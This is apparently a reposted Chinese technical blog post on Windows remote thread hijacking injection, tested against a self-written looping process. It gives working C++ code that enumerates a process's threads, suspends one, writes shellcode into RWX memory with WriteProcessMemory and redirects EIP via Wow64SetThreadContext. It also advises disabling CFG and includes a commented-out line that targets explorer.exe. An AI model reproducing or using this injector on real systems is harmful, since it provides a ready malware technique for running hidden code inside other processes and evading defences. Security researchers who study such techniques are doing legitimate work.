http://www.javashuo.com/article/p-pcvynbhr-nd.html 上次分享了经过APC注入方式,让目标线程运行shellcode。这么作有个前提条件:目标线程是alertable的,不然注入了也不会当即被执行,直到状态改成alertable,但笔者暂时没找到能把目标线程状态主动改成alertable的办法,因此只能被动“听天由命”地等。今天介绍另外一种远程线程注入的方式:hook 线程;html
先说第一种思路,以下:shell
核心代码解析以下:windows
一、用于测试的目标进程:这里写个死循环,让其一直运行,方便随时被注入;安全
#include <windows.h> #include <stdio.h> int main() { printf("dead looping...............\n"); while (TRUE) { } }
注意:本人测试环境:函数
win10 x64为了确保安全,默认增长了不少防御,好比控制流防御CFG,编译的时候须要手动改为否,才能让咱们注入的shellcode顺利执行;oop
二、遍历进程,找到目标进程后再遍历该进程名下其余线程:测试
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0); HANDLE victimProcess = NULL; PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) }; THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) }; std::vector<DWORD> threadIds; HANDLE threadHandle = NULL; if (Process32First(snapshot, &processEntry)) { while (_wcsicmp(processEntry.szExeFile, L"Thread_Alertable.exe") != 0) { //while (_wcsicmp(processEntry.szExeFile, L"explorer.exe") != 0) { Process32Next(snapshot, &processEntry); } } victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID); if (Thread32First(snapshot, &threadEntry)) { do { if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) { threadIds.push_back(threadEntry.th32ThreadID); } } while (Thread32Next(snapshot, &threadEntry)); } for (DWORD threadId : threadIds) { threadHandle = OpenThread(THREAD_ALL_ACCESS, NULL, threadId); if (Wow64SuspendThread(threadHandle) == -1) //挂起线程失败 { continue; } printf("threadId:%d\n", threadId); if (InjectThread(victimProcess, threadHandle,buf, shellcodeSize)) { printf("threadID = %d inject success!", threadId); CloseHandle(victimProcess); CloseHandle(threadHandle); break; } }
三、shellcode代码注入,思路也简单:以前已经已经拿到目标进程和目标线程的句柄,而且已经暂定线程,这里直接GetThreadContext,更改eip为shellcode地址便可;spa
BOOL InjectThread(HANDLE hProcess, HANDLE hThread, unsigned char buf[],int shellcodeSize) { LPVOID shellAddress = VirtualAllocEx(hProcess, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (shellAddress == NULL) { printf("VirtualAlloc Error\n"); VirtualFreeEx(hProcess, shellAddress, 0, MEM_RELEASE ); ResumeThread(hThread); return FALSE; } WOW64_CONTEXT ctx = { 0 }; ctx.ContextFlags = CONTEXT_ALL; if (!Wow64GetThreadContext(hThread, &ctx)) { int a = GetLastError(); printf("GetThreadContext Error:%d\n", a); VirtualFreeEx(hProcess, shellAddress, 0, MEM_RELEASE); ResumeThread(hThread); return FALSE; } DWORD currentEIP = ctx.Eip; if (WriteProcessMemory(hProcess, (LPVOID)shellAddress, buf, shellcodeSize, NULL) == 0) { VirtualFreeEx(hProcess, shellAddress, 0, MEM_RELEASE); printf("write shellcode error\n"); ResumeThread(hThread); return FALSE; } ctx.Eip = (DWORD)shellAddress;//让eip指向shellcode if (!Wow64SetThreadContext(hThread, &ctx)) { VirtualFreeEx(hProcess, shellAddress, 0, MEM_RELEASE); printf("set thread context error\n"); ResumeThread(hThread); return FALSE; } ResumeThread(hThread); return TRUE; }
效果:弹出了messagebox:线程
也在目标进程的目录下生成了文件:3d
四、最后作一些总结:
从process hacker看,线程并未改变,仍是以前的那个:
那么问题来了,shellcode执行完回到主线程后为啥又执行了打印代码?仔细想一想,shellcode最后一条有效指令是C3,也就是ret,该指令把栈顶4个字节做为返回地址赋值给eip;既然dead looping打印了两次,说明执行shellcode执行前栈顶被压入了这行代码的地址,这是谁干的了?用IDA打开目标进程分析,以下:
好在本身写的测试进程不复杂,很容易找到答案,分析以下:
(1)因为cpu执行速度很快,注入shellcode的进程(如下简称loader)在执行suspendThread时大几率已经进入while死循环,从上面汇编代码来看,while循环并未改变堆栈,因此shellcdoe执行完后ret的地址确定不是while循环更改的;
(2)继续往上倒推:add esp,4 这是进入死循环最后一行改变栈顶的代码,为了更直观说明,我画了一个堆栈图,对照代码以下:
从函数入口点开始,改变堆栈,期间有两个call和一个push,这3行指令会改变esp;最后执行完add esp,4后,esp从新指向原edi;shellcode最后一行ret执行时,会从堆栈中该值弹出赋值给eip。那么原edi值又是多少了?用调试器打开测试进程,在main入口断下,发现edi指向的时EntryPoint,也就是说shellcode最后一个ret指令会跳转到这里开始执行;
这里也能看到栈顶是EntryPoint的地址:
五、 此次注入shellcode虽然说成功,问题也很明显:
后续会经过其余方案挨个解决这些问题!